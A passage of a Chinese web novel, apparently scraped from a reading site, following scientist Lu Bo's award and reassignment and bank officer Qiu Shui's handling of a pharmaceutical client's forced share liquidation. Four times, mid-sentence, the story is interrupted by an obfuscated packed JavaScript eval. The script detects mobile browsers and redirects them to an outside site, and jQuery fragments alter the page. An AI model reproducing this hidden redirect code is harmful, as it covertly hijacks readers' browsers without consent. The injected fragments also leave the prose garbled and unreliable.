“陆哥，看我给你占的位置不错吧。”看着陆博的大长腿走过来，张鹏一边把桌子上占座的保温杯拿过去，一边对陆博邀功。 “啧，我正想说呢，怎么找了这个地方。陆博将手上的笔记本扔到桌面上，冷哼。 “这个地方怎么了！”张鹏不服，“这是我精心挑选的风水宝地，你看位置多好，正对着主席台，到时候所长一抬眼就能看见你，还不好吗？” “摸鱼都不方便。”陆博语气冷淡。 “摸鱼！陆哥，你真是我亲哥，你到底知不知道今天这个会议的主题是什么”张鹏语气突然激动，“你这绝对主角，在表彰大会上居然想着怎么摸鱼，你就没有一点激动吗？” “还好。”陆博对这个话题兴致缺缺。 “只有作出了巨大突破才会召开的表彰会，一年到头都不见得有一次，你就只是还好，大佬，给我们普通人一点活路吧。”张鹏哀嚎。 “喂，喂，喂”话筒里传来试音的声音，张鹏停止和陆博的插科打诨，会议室内的声音渐渐小了下来。 “今天我们会议的主要内容，是对陆博同志及其团队进行表彰。”研究所所长王院士开门见山。 听到这句话，会议室里响起了悉悉索索声音。 研究人员也不是完全两耳不闻窗外事，对于陆博团队的最新研究进展都有所耳闻，某项一直被国外卡脖子的技术，陆博团队研究出来了重要突破，已经通过了专家评估验收，就等这项技术落地，一旦应用进实际产品，我国家这个领域的实力将得到质的提升，这次会议，就是特意表彰这项技术。 王院士抬了台手，示意大家，等安静下来，接着开口。 “陆博同志研发的新技术，已经经过了专家评估，新技术较旧技术，在各方面都有很大的提升，甚至可以说有了根本性的突破，陆博团队研发的新技术，为我国摆脱国外的技术掣肘奠定了坚实的基础，上级已经决定，将尽全力支持这个项目的实践应用，在资源、人员上给予最大幅度的倾斜，争取使实验室的技术以最快速度落地，装备上新一代产品。 我代表研究所的党委、领导班子，特此对陆博同志提出表彰，陆博同志在工作中，表现出了一位优秀共.产.党人、一位优秀科研工作者的担当，希望陆博同志在工作中中再接再励，继续攻克新的技术难题，为我国的科技进步作更大的贡献。” 啪啪啪啪啪啪。 王院士话语刚落，热烈地掌声简直要把天花板掀翻。 对于这个消息，研究员们是打心底里高兴的，即使或多或少有点文人相轻，研究员们之间都有不服气的地方，憋着劲钻研，但对于能作出成绩的人，还是不吝于自己的掌声，更被说这项技术突破后的重要意义更是让人欣喜。 张鹏的手更是拍的发红，兴奋地看向陆博：“陆哥，你真的太强了。” “现在，请陆博同志上台。”待掌声告一段落，王院士接着说道。 陆博起身，在众人的注视下走向主席台，接过王院士手中的荣誉证书。 薄薄的一张荣誉证书，是他们团队日夜奋战的军功章，拿到荣誉证书，饶是陆博也感到非常愉悦，稍微缓和一下情绪，带着笑意向王院士及研究所其他领导欠身致意，随即转身面向台下众人，神采飞扬，意气风发。 “感谢领导的支持，也感谢同事们的帮助，更感谢团队成员的付出，这个成绩，不仅是我一个人的成绩，也不仅是我们团队的成绩，这是我们研究所诸位前辈，诸位同僚，呕心沥血钻研多年，几代人研究心血的结晶，是所有人的荣耀，未来的日子里，我将不忘初心，继续努力，谢谢。” 啪啪啪啪，掌声再次响起，在王院士欣慰的目光下，陆博回到了座位。 “在座各位都是国之栋梁，希望诸位都能有新的突破，我等着以后为各位开表彰会，今天就到这里，散会。” 合上笔记本，研究员们陆陆续续走出了会议室，陆博在第一排，懒得和其他人挤，一直坐在位置上没动弹，等人少点再出去。 “陆博啊，你待会儿来一趟我办公室。”人走的差不多了，陆博准备起身的时候，王院士的声音在耳边响起。 “好。” 听见陆博的回答，王院士拿上桌上的保温杯，走了出去。 “哥，我没听错吧！”等王院士一直在陆博旁边当透明人的张鹏兴奋地脸都红了。 “我男神让你去他办公室！”不怪张鹏那么激动，王院士年轻时出的成果，在他们行业无人不知，奠定了整个行业的基础，每个研究人员，求学年代里都是伴随着王院士的名字成长的。 虽然王院士是研究所的所长，但他日常工作繁忙，还主持了好几个大型项目，在研究所出现的时间不多，单独把研究员叫去办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648752|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室交流的次数更少。 “不知道男神让你干什么，你快回去准备准备。”张鹏的话语一直没有停止。 “嗯，走吧。”陆博适时阻止了张鹏的唠叨，拉着张鹏衣领走了出去。 “陆哥，你就一点也不激动、不好奇王院士找你干什么吗？”走路也没有阻拦张鹏说话。 “激动、好奇”陆博语气平静。 “你就扯吧，谁激动语气和你一样。”张鹏默默吐槽，“算了不说你了，走快点，被让男神久等。”一边说着一边扯着陆博的衣袖往前走。 陆博将手上的荣誉证书塞给张鹏，“帮我把这带回去，小心点别弄坏了，我去找你男神了。”一边说一边挥手走远。 作为研究所的所长，王院士在顶楼有一间独立的办公司，面积不大，靠墙摆满了书柜，密密麻麻全是书，窗台上的绿植在阳光中舒展叶片，刚浇上的水珠折射出太阳的光芒。 “陆博，你来了，坐。”王院士不紧不慢地放下手中浇水的矿泉水瓶，指了指角落的沙发，示意陆博坐下说话。 “您老突然召唤，是有什么事吗？”陆博从善如流坐下，随手将笔记本放在沙发扶手上。 “快年末了，你们项目有了巨大的进展，这是好事。”王院士慢条斯理地开口，“不过你也知道，这两年科研经费查的严，你回去后，好好整理一下项目经费，别在这个事情上出问题。” “好的，老师，您就放心吧，经费在项目结题的时候就处理好了，我们组的张鹏，别看平常大大咧咧，但是在这些事情上，还是非常细致的。” 王院士，同时也是陆博的老师，陆博读博的时候，导师出国访学了一年，将他拜托给了王院士指导，时间虽然短，但给王院士留下了深刻的印象，两人也建立了深厚的师生情谊，从某种意义上来说，他也算王院士的学生了，甚至可以算是得意门生。 陆博考进研究所后，双方默契地没有提这一段是师生情谊，所内没有人知道他们还有这一段关系。 “嗯，你办事我还是放心的。”王院士说道。 “老师，您就直说有什么事情吧，别这样转圈子了，怪难受的。”科研经费管理确实重要，但没有重要到事务繁杂的王院士专程关心的地步，陆博想了想，还是先问出了口。 “这次叫你来，确实是有件事情要通知你。”王院士语气仍然不紧不慢。 “您就直接说呗，还担心有什么事情我承受不住啊。”拖长的声音带着戏谑。 “别贫了”王院士望着面前的学生，无可奈何摇头。“那我就直说了，上次你报上来的那个项目申请，我暂时不能给你通过。” 6. 表彰2 “为什么？这个项目的前景我不信您看不出来，一旦做完这个项目，从理论上来说，就不是简单解决国家卡脖子的问题，而是比他们领先一个时代了。”陆博急了，剑眉挑起，声音也大了起来。 “确实，你说的没错，”王院士的目光依然平静。 “那怎么…” “理论上。”王院士说了这三个字就没再说下去，给陆博自己消化的时间。 这不难想到，之前开会的时候就说过，国家将不惜一切代价，推进项目的落地工作，作为该项目负责人的陆博，无疑对项目最为了解，自然也是最能和加工厂解释清楚核心技术，推动项目从实验室走向生产车间的人，尽管他的科研能力毋庸置疑，但是比起未来不知道耗费多久才能研制出来的新一代技术，迅速推动已有的技术落地更为迫切，更能解燃眉之急。 想明白了这点，陆博泄了劲，无精打采：“行吧，去哪里。” “山海公司。” “这是哪家？之前怎么没听说过？”陆博之前的项目交付时也和加工厂打过交道，虽然没有像这次一样，整个人都打包过去，但是哪几个加工厂有能力生产，还是知道的。 “为了使加工厂更加符合现代企业，提高加工厂的竞争力，适应现代社会的发展需要，早几年上级就开始着手对系统内的加工厂进行改制，之前一直在摸底阶段，今年年初开始行动，将几个有生产能力的加工厂进行合并改组，建成了山海公司，由国资委直接控股，以后咱们系统的项目都在这个公司生产了。” “嚯，这么大手笔。”饶是陆博也不由咂舌。“我们的项目可都是特殊用途，没有什么利润。” “上级这样安排自然有他们的考虑，一方面各方面的账务明晰，另一方面，山海那边还设了一个子公司，将可以民用的技术拿出来生产，利润就不用你操心了。”对于陆博的疑问，王院士依然耐心解答，即便陆博只是随口一说。 陆博若有所思地点了点头。 “好了，该说的我也说完了，你这两天把手头项目资料整理好，就去那边报道吧，新的项目等回来再说。” 看见陆博的表情，王院士就知道已经说服了这个学生，开始做总结发言。 “等等，还有最后一个问题。”看出王院士送客的意思，陆博赶紧开口。 “嗯？” “我在那边具体要待多久？不会真等到产品下生产线吧？您知道的，从实验室到大规模批量生产，中间遇见什么问题都不好说，用的时间就更不好把握了。”陆博抓紧时间问出心中最关心的问题。 听见陆博的疑问，王院士皱了皱眉，思索片刻：“这样，你过去后，最关键的工作是对那边的工程师进行培训，挑几个好苗子好好调教。他们什么时候掌握了，你就什么时候回来。” “好嘞，那您忙，我就回去收拾了。”陆博拎起扶手椅上没有翻开的笔记本，作势离开。 “嗯，去吧，培训的时候注意保密纪律。” “放心吧您，好歹我也在这所里工作这么些年头了，该注意的一定注意。”见王院士没有别的话要嘱咐，陆博抬腿走了出去。 一手拎着搭在肩上的外套，一手拿着笔记本的陆博推开自己办公室的门，只听见“砰”的一声，彩带纷纷扬扬从天花板落了下来，在白炽灯的照射下还反射出亮光。 “欢迎英雄凯旋。” “优秀科研工作者回来啦。” “陆哥，我男神和你说了什么！” 欢呼声、尖叫声夹杂着说话声同时在陆博耳边响起，项目组的成员都在办公室里，每个人的脸上都洋溢着灿烂的笑容。 陆博忙着将粘在脸上头发上的彩带拂落，好一会儿才有功夫说话。 “你们这是干嘛呢？” “为陆哥你庆祝啊！” “不到30岁的优秀科研工作者，陆哥牛X！” “陆哥你就是我的偶像” 耳旁再次传来七嘴八舌的声音。 “停停停，一个一个来，我都听不清楚你们在说什么。”望着闹腾的同事，陆博感到头疼。 陆博之前提交项目申请的时候，没有人看好这个项目，研究所的诸多前辈都研究过，却一个个折戟，因此当项目批复下来，陆博组建团队的时候，除了张鹏对他盲目信任进组，其他愿意进入他研究组的，都是刚毕业不久的年轻人，对科研充满了热情，有着初生牛犊不怕虎的冲劲，因此也格外地闹腾。 “陆哥我太崇拜你了，我做梦都想不到，自己居然能参加这么重要的项目。”说话的是项目组年龄最小的钱宁。 “以后你会参加更多更重要的项目的。”陆博笑了笑，耐心鼓励新人。 “陆哥，你下一个项目有想法了吗？”说话的是项目组另一个天才少年吴越。 “有初步思路了。” “那，我能加入您下一个项目组吗？”吴越双眼冒光。 “你再加入我的组，意义不大，你的学习能力，知识积累足够你开展自己的课题研究，唯一欠缺的就是项目组管理经验，这些你在这个项目里也学得差不多了，不用再去别人的团队，你好好想想对什么项目感兴趣，趁早申报。” “真的可以吗？”吴越的眼睛更亮。 “当然，相信我，事实会证明，我是对的。”陆博确定。 “陆哥你说的对，你说的都对，但我更想知道，我男神找你说什么了？”说话的是王院士的终极粉丝，张鹏同学。 “哦，对了，正好趁着你们都在，我传达一下王院士的精神。”陆博挑起嘴角，冲张鹏乐。 “哥，你这样子我看的有点瘆得慌，有事您吩咐。”张鹏一见陆博这样笑，就知道没有好事。 “瞎说什么呢，陆哥这么帅，怎么就让你瘆得慌了。” “就是，没有审美。” “人家这叫风流倜傥，懂不懂。” 吴越和钱宁一应一和，陆博收敛笑意，回归正经。“说正事，新项目的申请，上头没批”。 “啊？” 疑问声刚起，陆博抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648753|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往下压了压，示意安静。“这个事情我已经和王院士沟通过了，上级领导有他们的考虑，我要说的重点不是这个。” “这还不是重点？那什么才是重点？”最快接话的依然是最容易激动的张鹏。 “张鹏，我们上一个项目已经结题了，你再核对一下项目经费的使用情况，我漏签字的地方拿给我签，确保这方面别出差错。” “好，我马上去弄。”陆博没有解释，反而向张鹏交代工作，张鹏的注意力随即被转移。 “钱宁，你把项目的资料再整理一遍，按照档案室的要求进行归档。” “好的，这个工作我正在弄，估计还有半个月能弄完。”钱宁有点疑惑，这种例行工作，正常来说不应该特意提出。 “还有半个月啊，时间有点来不及了。”陆博思索片刻，给出了解决办法。 “这样，今天你和张鹏辛苦一点，梳理一下哪些地方要我签字，明天我就不来所里了，能签的地方我都给你们签了，别耽误你们的工作。” “不来了，什么意思？”出乎意料，第一个发问的不是咋咋呼呼的张鹏，而是相对比较安静的钱宁。 “就是字面意思，明天开始我就去合作企业盯生产流程，就不过来这边了。”陆博此时的心态已经恢复了平静。 “什么？陆哥你要去企业，那这边的工作怎么办？”张鹏终于反映了过来，瞪眼张嘴吸引陆博的注意力。 “别做这些怪样子，收尾工作就交给你们了。” “所以，这就是你新项目没有通过的原因吗？”一直没有说话的吴越也加入了谈话。 “这确实是最大的考量。”面对同组的人，陆博选择坦诚相告：“你们也都明白这个项目的意义，我过去盯着，能最大效率的推进落地进程。” “对于生产，你也是门外汉，过去能干什么？”吴越依然气鼓鼓。 “起码，我能说清楚我们的技术重点，别气了，其实我也很想看到我们的成果落地的场景。”只有应用于实际，项目才能展现出生命力，陆博也不是不期待。 “而且最重要的一点”陆博想起了什么，笑得更欢。 “什么？”疑惑X3。 “企业那边不像我们这儿没日没夜的熬，起码有个上下班的点，我就当过去休假了。” “你?休假?我没听错吧，工作狂人主动说要休假，让我看看太阳是不是打西边出来了。”张鹏撇了撇嘴，“再说了，你下班后又没什么事干，还不如在这儿加班呢。” “谁说我没事干了？” “那你说你能干什么，打你一进大学，我就和你认识了，这么多年，你就说说你主动参加过什么娱乐活动，空闲时间里除了发呆就是瞎溜达，就这老年人作息，能有什么事？” “秘密。” 说完这两个字，陆博拿起手机，愉悦地发出一条信息，然后走回自己工位，开始收拾东西。 “啧，装神弄鬼。”张鹏也转身回了自己的座位，吴越和钱宁互相看了眼，沉默地离开。 7. 流动资金贷款1 二十公里外的金融街。 秋水的私人手机闪了闪，弹出了新消息提示。 此时的秋水已经顾不上查看私人手机的消息，任由呼吸灯在包里幽幽闪烁。 喝完咖啡的秋水，慢悠悠走回办公室，刚推开门，就听见电话铃声尖锐作响。 “你可算回来了，你这电话连续响了好几次了，再不回来我都要去找你了。”伊莱冲秋水招手，示意她赶紧接电话：“快问问怎么了，可被耽误了事儿。” 不应该啊，自从上一个新能源公司的贷款放完后，最近一段时间都没有上报新的项目，正常来说，周一上午应该没什么重要的事情才对。 秋水心里嘀咕着，小跑回到工位，拎起电话：“您好，这里是C银行秋水。” “秋老师，我是风险管理部的田薇。” 田薇是风险管理部负责审批项目的风险经理，为了避免风险条线和业务部门互相勾结，虚报业务，风险经理每年轮换，通过这个方式降低不良，田薇刚轮换过来审批秋水他们部门项目不久，和秋水正处在磨合期。 因此接到田薇的电话，秋水迅速在心中思索了一下对方的目的。 最近没有新增客户，存量客户半年度审计报告已经上传系统，季度报表全部录入，一个月一次的贷后调查如期完成，年度审计报告还没有出…… 这些可能性一一排除后，秋水心里咯噔一下，那就只剩下最麻烦的一个情况了。 “田老师，您好。”秋水一边礼貌招呼，一边迅速将工作电脑的信贷系统打开。 果然，刚进首页，一条加粗的风险预警提示弹出页面。 “恒通医药在我们行有一笔一个亿的流动资金贷款，风险敞口一个亿，客户经理是您？” “是的。” 恒通，这个名字从风险经理的嘴里说出来，有点出乎秋水的预料，恒通是一家上市超十年的医药类企业，主营业务为仿制药的生产和销售，在全国各地都有生产工厂，90%的产品都在国家医保目录里。 虽然不说默沙东那样的顶尖药企，但是凭借现有的生产线，一年净利润也能上九位数，随着恒通利润的逐年增长，公司董事长不再满足于生产仿制药，加大对创新药的研制，既大手笔收购同业企业，又加大对实验室的投入，最近刚和Y公司签订共同研发协议，剑指PD-1抗肿瘤药物。 这个客户，是叶允和秋水今年新开发的客户，几个月前放了一个亿的流动资金贷款。 虽然出乎意料，但秋水反而没有那么紧张了，毕竟刚拿到没多久的三季度财务报告显示恒通的财务状况一切正常，对于授信类客户，只要财务状况没有问题，别的都不是大事。 “DB信托刚刚发了公告，”田薇语气急促，“恒通的董事长，在DB信托的一笔股权质押，被强行平仓了。” “什么？”秋水的手心冒出冷汗，强行平仓这几个字像一道惊雷，在耳边炸响。 “我把公告链接通过工作平台和OA都发给你了，你赶紧联系对方了解情况，尽快给我情况说明，白总等着听。”田薇说完，没等秋水回复就急急挂了电话。 “怎么了？”伊莱听了只言片语，不了解情况，看着秋水神情不对，比划着口型询问。 “麻烦了。”秋水冲伊莱苦笑一声，来不及多说，一边登录OA，一边刷新信贷系统，看到了恒通刚发出的公告。 “我公司实际控制人张恒通先生，通过DB信托的“天时资产管理计划-1号”所持1%股份于20XX年XX月XX日被DB信托强制平仓，DB信托该行为违反了证监会有关规定。” 公告内容很短，但事情却很大。 证监会规定，上市公司大股东、董事、监事、高级管理人员的股份增持、减持必须尽公示义务，在这天之前，世面上从没有传出来过恒通大股东减持的风声，从这短短几行字，能看出恒通医药也被DB信托打了个措手不及。 恒通医药是一家夫妻店，公司的创始人夫妇本来是医生，在80年代经商潮里两人辞掉公职，毅然下海，夫妻俩胼手砥足，白手起家创下了这偌大家业。 公司就是他们的亲儿子，两人看得特别重，绝对不能承担失去控股权的风险，因此在上市时候，通过各种持股计划，夫妻俩直接或者间接控股公司65%的股份，再加上员工持股，实际上流入市场的股票只占公司股票总份额的30%左右。 恒通资金运作非常保守，并没有通过IPO从市场融入太多资金，主要融资途径还是银行授信，在各大银行的风险敞口大概在10亿左右。 这个策略也不能说错，在恒通医药稳扎稳打的经营风格下，保守的融资策略融入的资金足以满足日常现金流的需求。 稳意味着安全，但是俗话说，富贵险中求，恒通医药稳是稳了，利润也同样非常稳定地一成不变。 看着行业内不如自己的企业，通过重组、并购等方式，商誉飞快增加，财报格外好看，吸引更多投资者的目光，企业市值一路突飞猛进，将恒通牢牢压在底下，董事长张恒通坐不住了，定下了新的发展战略，其中很重要的一项，就是要在仿制药生产之外，大力投入创新药的研发。 众所周知，创新药的研发就是一个烧钱的玩意儿，研发没几年，刚出了点阶段性成果，成品药还没见到影，投入的资金就已经远超财务部的计划。 保守的融资策略势必要改变，为了在保持股权的前提下迅速融入资金，恒通的财务部门在财务总监的带领下杀入资本市场，把资本市场玩出了花。 一方面大量增加合作银行，提高企业授信总额度，叶允和秋水就是趁着这个机会和恒通医药开展合作，另外以高于市场的价格发行了两期五年期的公司债，在发现融入资金仍然不足后，将董事长夫妇所持的股份，质押给信托、券商，通过种种方式，获得了非常充裕的现金流。 当然，恒通医药也并非盲目融资，他们敢于高杠杆融资的底气来源于公司现有业务也在蓬勃发展，还款问题不大。 秋水申报恒通医药项目的时候，对于恒通的财报进行过深入的研究，自然也看到了融资额的快速增加。 彼时经济形势正是一片大好，各行各业的企业都在急速扩张，恒通医药的扩张策略并不突兀，更何况，越多的授信支持，代表着看好这家企业的银行越多，在合作银行列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648754|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表中见到了市面上主流的四大行、股份制银行后，叶允和秋水一致认为尽管恒通创新药研制有一定的风险，但主营的仿制药已经形成了稳定的销售渠道，每年的销售收入非常可观，税后净利润足以覆盖风险，授信申请审批通过的可能性非常高。 果然，风险管理部并未提出异议，过会后爽快地批了一个亿的额度，恒通医药没过多久就以流动资金贷款的形式提款，用于支付采购原料的货款。 现在恒通医药质押的股票被强制平仓，意味着企业的现金流出现了非常大的问题，秋水发放给恒通的贷款，出现不良的风险迅速上升。 看了恒通的公告，秋水没有急着给田薇回电话，反而打开外网电脑，迅速登录wind客户端，查看恒通的股价，果然一片惨绿。 定了定神，秋水一边点开公告页面，寻找其他的说明，一边给叶允打电话。 叶允的电话一直没有人接听，不知道在哪个客户那儿，挂断电话，秋水心急如焚，来不及和叶允通气，打开工作手机，找到一个备注为“崔经理”的人，把电话拨了过去。 这个电话同样等了很久，在快自动挂断的时候，崔经理接通了电话。 “喂，您好。” 短促而快速的声音传来，话筒中传来此起彼伏的电话响声。 “崔经理，我是C银行的秋水，刚刚的公告，DB信托强制平仓，具体是什么情况？”秋水没有心思寒暄，开门见山。 “DB违反合同，这不是我们公司的问题，马上就发新公告了，您先看公告。”崔经理客气地说着官方回答。 “好的，那我看了公告再联系您。” “行，之后咱们找个时间坐下来好好聊聊。” 挂了电话后，秋水不断刷新wind，等待新的公告。 好像过了很久，秋水的手指点刷新界面已经麻木，再一次的机械刷新后，新的公告弹了出来。 “我公司实际控制人张恒通先生，通过DB信托的“天时资产管理计划-1号”持有恒通医药3%股份，经董事会同意，张恒通先生将该股权质押给DB信托，DB信托于20XX年XX月XX日将张恒通先生所持1%股份强制平仓，平仓后，张恒通先生通过“天时资产管理计划-1号”持有恒通医药2%的股份。 近日，我公司收到DB信托函件通知，由于我公司股价持续波动，可能会触碰到平仓线，一旦触及，张恒通先生所持有股票将被DB信托强制平仓。 收到该函后，我公司高度重视，即刻回复，为了保护广大股民的利益，一旦股价触及平仓线，我公司将立即进行补仓，我公司有补仓意愿及能力。 同时，我公司亦对DB信托作出提示，根据证监会规定，大股东减持股票，需提前进行公告，并报证监会备案。 DB信托在未和我公司进一步沟通的情况下，今天上午将张恒通先生所持恒通医药1%的股份强制平仓，未给我公司留出补仓时间，该行为既违反了证监会相关法规的要求，也违反了双方的合同约定，该行为既不合法也不合理。 为了保护投资人权益，我公司决定即日起，停牌股票，复牌时间另行公告。” 8. 流动资金贷款2 室内非常安静，墙角空气净化器呼呼转动，桌上的加湿器温柔吐着水汽。 秋水陷入沉思。 恒通发出的公告内容，并没有出乎秋水的意料。 对于任意一家公司而言，质押的股票被强行平仓都不是好事，为了稳定股价，保持投资者信心，稳住上下游合作企业，同时也为了取信各大金融机构，恒通必须给自己塑造出一个被害者的形象。 因此，恒通的一面之词并不可信，思索片刻，秋水将私人手机取出，略过未读消息的红点，找到大学同学，一个一个戳开对话框。 “走，吃饭去。” 伊莱的招呼将秋水从聊天中惊醒，一看时间已经12点了。 “这个点了，我都没注意，等等，我马上就好。” 秋水一边说一边将桌面的文件收入抽屉上锁，准备离开，迈步的瞬间，似想起了什么，将私人手机和工作手机都拿到手上。 “你今天怎么回事？还带着手机去吃饭，之前不是说玩手机是对美食的辜负吗？”伊莱笑着打趣。 “甭题了。”秋水情绪沮丧，“我可能真摊上事了。” “咋了。”伊莱见秋水的脸色不对，忙收敛了脸上的笑意，正色问道。 “恒通出了点问题，具体怎么样还不好说，我再看看情况吧。”秋水有气无力说道。 “怎么恒通都能出问题，药企利润那么高！”伊莱不敢置信地惊呼。 秋水扯了扯嘴角当作回复。 “你也别着急，毕竟主办客户经理不是你，就算真出了问题，天塌下来还有高个子顶着，更何况恒通还没出问题，就我们行授信这审慎程度，想发生不良都难。”见秋水无精打采，伊莱贴心地安慰。 “那就借你吉言了。”伊莱的安慰使秋水沉郁的心情轻松了点，谈话间已经到了食堂，两人自去取餐不提。 “今天一上午怎么都是不好的消息。”吃着饭，见秋水心不在焉，伊莱主动提起话头，“你这不是冲撞了什么吧，这周末别加班了，赶紧去白云观、雍和宫、王府井东堂拜拜。” “伊姐，您这信仰够多的，这到底是求哪个菩萨保佑啊？” 好嘛，道教、佛教、天主教，再来个菩萨都能开桌麻将了。 “当然是每个都求求了，哪个菩萨听见了哪个菩萨保佑呗。” 饶是秋水心事重重，也被伊莱的话逗得笑了出来。 “你们年轻人别不当回事，之前我们布风水局，你说不信，你看事就来了吧，赶紧去拜拜压一压。”伊莱一脸认真。 秋水听的一脸黑线。 别看大家都在金融街工作，走出去也是人模人样，但是这一行的迷信禁忌特别多，网点开门的时候甚至特意找风水先生算过，进门就摆了两个大花瓶镇邪，后台更是摆了青铜器镇祟。 办公桌的讲究就更多了，什么计算器上贴硬币，置物架上招财猫，每个人都有自己的讲究，秋水刚来的时候，也被提点过，但她从来就不信这些，正好银行，就她桌上光秃秃的什么也没有。 听到伊莱将这些事情和风水摆在一起，秋水有点哭笑不得。 嗡嗡。手机的提示声响起，秋水顺手打开，瞬间笑了出来，放下手机安心吃饭。 “谁的消息啊？”对于秋水的转变，伊莱有点惊讶。 “活菩萨。”秋水说了这三个字就埋头吃饭。 看出秋水不想细说，伊莱也不再询问。 放在一旁的手机屏幕上，是来自叶允的消息：“事情我已经知道了，你甭急，一切有我在，下午回来面谈。” 吃过午饭，秋水又回到了电脑前，接着研究恒通的各种数据。 这一研究就不知道到了几点。直到一道人影遮住了灯光，秋水才恍然抬头，看到站在身旁的叶允。 “哥，你回来了。” “嗯，我在工作平台上收到了田薇发的消息，你给我说说到底是什么情况。”叶允的语气不见慌忙。 “是这样的。”秋水定了定神，将恒通的事情如实述说。 听完秋水的转述，叶允的眉头皱了皱，沉默了片刻询问：“现在行里是什么意见？” “写情况说明，行领导等着看这个。” “给我看一下。”叶允冲秋水伸出手。 “我还没写。”秋水咬了咬嘴唇。 “嗯？”叶允有点惊讶，他之所以选择刚毕业的秋水作为搭档，就是因为秋水向来心细，这种文件不要他多说，就会提前准备的妥妥当当。 “是这样的，我想等你回来，和你碰一下具体的行文方向。”秋水咬了咬唇说道。 “怎么？不是描述风险，建议暂停合作吗？”叶允挑起眉梢。 “我认为，可以和恒通那边接着沟通。”秋水深吸口气，将自己的意见说了出来。 “哦？你知道恒通在我们行提了多了贷款？”叶允发问。 “一个亿。” “那你知道，一旦这笔贷款不良，作为主办客户经理的我，要承担多少赔偿吗？”叶允继续发问。 “知道。”赔偿额秋水已经算过，叶允都没她清楚。 “知道，知道你还提这个建议，不赶紧退出，及时止损，等着干什么呢？”叶允的声音里已经带了点不愉快。 “我是出于两方面考虑。第一，我算过，今年的KPI，你的核心客户数在临界点，如果少了恒通，那么年终奖你要少拿十几万。” “那你算过，一旦出现不良，我得赔几个十几万吗？”叶允一副你在逗我笑的语气惊讶反问。 即使听出了叶允的不愉快，秋水依然坚持将话说完。 “第二，这是恒通的三季度报，从报表上来看，利润确实有下降，这也是导致股价下跌的主要原因。我发现和去年的年报相比，今年的三季度报，有一个很大的变化，营销费用大幅下降，但是研发支出显著增加，于是我又去搜了一下Wind，就在7月份，恒通就发布了一个公告，宣布他们和YM合作开发的新药，已经进入到一期临床阶段了，如果一切顺利的话，新药很快就能上市了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648755|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你也说了是一切顺利，现在刚一期临床试验，后面还有二期、三期，这得花多长时间，更别说如果一期效果不好，那整个前期投入就打了水漂，恒通活不活的下去还不好说。”叶允对秋水的说法嗤之以鼻。“你就上报我们准备退出吧。” “二期就行。” “什么？”没想到秋水还有话说。 “我查过资料，恒通开发的新药，是一种使用PD-1技术的抗肿瘤药，如果抗肿瘤药效果良好，可以在二期临床试药后进行申报流程。”秋水神情平静。 “秋小水，你今天不对劲啊。”此时的叶允也发现了秋水过于执着。 “我是觉得，一家一直做仿制药的企业，转型做创新药不容易，不希望他们就这么失败。”秋水神态认真。 “你把自己想的太重要了，恒通这么大的企业，还一个亿的贷款，对他们没什么影响。”叶允挥了挥手，不接手秋水的解释。 “确实，一个亿对于恒通不是大钱，但是如果让恒通提前还款，其他银行也会立即跟上，一旦出现信誉危机，那他们账面的流动资金是绝对不够应付的。”这，才是秋水坚持说了这么久的原因。 秋水的这个理由确实让叶允听进去了。 “其他银行都没有抽贷的意思？”叶允摸着下巴反问。 “我将恒通的授信银行清单拉了出来，找我在那些银行工作的同学打听过了，目前来说，四大行没有行动，主要股份行将恒通调为关注，一旦有一家银行退出，估计其他股份制会马上跟上。”秋水拿着手机冲叶允扬了扬。 这大概就是财经院校毕业的好处了，同学们分布在帝都各大金融机构，能及时互通有无。 “嗯，这样…”叶允的语气开始犹豫。 秋水亮晶晶的眼睛看着叶允。 叶允翻看着秋水打印好的，恒通最近三年审计报告、财务报表、新药研发公告、企业融资情况，在重点说明页翻页速度尤为缓慢，过了好长时间终于浏览完大致情况，改了主意。 “这样，你先写报告，咱们和股份制银行保持一致，将恒通调为关注客户。” 知道这是不退出的意思了，秋水干脆应了声好，新建一个word。 “你先写报告，我去跟胡行、宗宗汇报一下这件事。” 看秋水沉浸入报告，叶允也没干等着，拿起手上的资料走向领导办公室。 